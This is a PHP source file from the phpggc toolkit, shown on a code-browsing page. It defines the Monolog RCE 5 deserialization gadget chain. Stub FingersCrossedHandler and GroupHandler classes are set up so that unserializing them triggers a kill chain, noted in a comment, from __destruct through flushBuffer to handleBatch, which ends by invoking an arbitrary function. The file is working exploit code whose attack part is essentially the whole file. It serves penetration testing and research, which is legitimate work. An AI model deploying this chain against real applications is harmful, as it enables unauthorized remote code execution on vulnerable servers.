Codebase list phpggc / bdd82005-aeaa-405e-8c1d-c0888c8630c5/upstream/0.20221219 gadgetchains / Monolog / RCE / 5 / gadgets.php
bdd82005-aeaa-405e-8c1d-c0888c8630c5/upstream/0.20221219

Tree @bdd82005-aeaa-405e-8c1d-c0888c8630c5/upstream/0.20221219 (Download .tar.gz)

gadgets.php @bdd82005-aeaa-405e-8c1d-c0888c8630c5/upstream/0.20221219raw · history · blame

<?php

namespace Monolog\Handler 
{
    // killchain :  
    // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
    
    class FingersCrossedHandler {
      protected $passthruLevel;
      protected $buffer = array();
      protected $handler;
    
     public function __construct($param, $handler)
     {
         $this->passthruLevel = 0;
         $this->buffer = ['test' => [$param, 'level' => null]];
         $this->handler = $handler;
     }
    
    }
    
    class GroupHandler {
      protected $processors = array();
      public function __construct($function)
      {
         $this->processors = ['current', $function];
      }
    
    }
}